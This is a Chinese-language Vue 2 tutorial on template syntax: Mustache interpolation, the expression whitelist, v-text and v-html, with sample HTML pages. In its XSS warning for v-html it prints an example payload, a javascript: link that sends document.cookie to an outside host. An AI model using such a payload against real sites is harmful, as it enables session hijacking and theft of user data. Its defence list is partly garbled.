Vue -- 模板語法 · Vue&&TypeSprict--基礎總結

[TOC] >[success] # Vue 模板語法 ~~~ 1.vue 和大多數后臺語言，甚至是和art-template 這種前端模板庫一樣，都有一套，特定的語法來把數據渲染在html上。 ~~~ >[info] ## Mustache -- 大胡子語法 ~~~ 1.大胡子的語法格式雙大括號'{{}}',用在html標簽之間，不能寫在標簽屬性中 2.大胡子語法中可以使用js表達式，但只限于Vue實例作用域和Vue沙盒白名單，白名單規定了一些全局變量例如Math和Date。 3.表達式一些基本表達式，和一些三元運算例如： '{{num + 1}}'、'{{status ? 'succeed' : 'failed'}}' '{{changeTime()}}'、'{value.replace(/,/g,"")}' 4.但不支持流控制例如:'{{ if (ok) { return message } }}' 5.簡單的理解就是里面只能寫：每個綁定都只能包含'單個表達式' ~~~ * 關于白名單中可以用的參數 * [參考的代碼](https://github.com/vuejs/vue/blob/v2.6.10/src/core/instance/proxy.js#L9) ~~~ 'Infinity,undefined,NaN,isFinite,isNaN,' 'parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,' 'Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,' 'require' // for Webpack/Browserify ~~~ >[danger] ##### 大胡子語法案例 ~~~ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title>  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script> </head> <body> <div id="app"> <p>{{msg}}</p>   </div> <script> var vm = new Vue({ el:"#app", data:{ msg:"將會被大胡子語法渲染" } }) </script> </body> </html> ~~~ >[info] ## v-text -- 模板渲染 ~~~ 1.v-text 能展示對應data中數據內容，也能在數據基礎上做運算 2.v-text 會吧標,簽中的內容替換 ~~~ >[danger] ##### v-text -- 使用案例 ~~~ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title>  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script> </head> <body> <div id="app"> <p v-text="msg"></p>  <p v-text="msg">我被覆蓋掉了</p>  <p v-text="msg+1"></p> </div> <script> var vm = new Vue({ el:"#app", data:{ msg:"將會被v-text渲染" } }) </script> </body> </html> ~~~ * 展示效果 ![](https://box.kancloud.cn/f5b08a15b5ebe4f979992024a21d8116_144x128.png) >[info] ## v-html -- html標簽渲染 ~~~ 1.將標簽語義化展示在頁面上 2.容易產生xss攻擊，請只對可信內容使用 HTML 插值，絕不要對用戶提供的內容使用插值。 3.如何防止xss攻擊: 3.1 前端過濾 3.2 后臺轉義(< > < >) 3.3 給cookie 加上屬性 http例如: <a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a> ~~~ >[danger] ##### v-html 案例 ~~~ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title>  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script> </head> <body> <div id="app"> <p v-html="msg"></p> </div> <script> var vm = new Vue({ el:"#app", data:{ msg:"<span style='color:red'>v-html渲染</span>" } }) </script> </body> </html> ~~~ >[success] # 三種將數據渲染到頁面的方法總結 ~~~ 1.雖然上面三種方法都可以將數據渲染到頁面上，但是工作中我最常用的是'{{}}' 2.'{{}}' 最被常用但是在加載的時候會出現閃爍問題(指令篇章v-cloak會講解解決方法)，而且只能吧html標簽當字符串渲染 3.'v-text' 雖然沒有數據加載閃爍問題，但是會將標簽中間的數據覆蓋，也不能渲染html格式數據。 4.'v-html' 謹慎使用會出現xss攻擊的風險 ~~~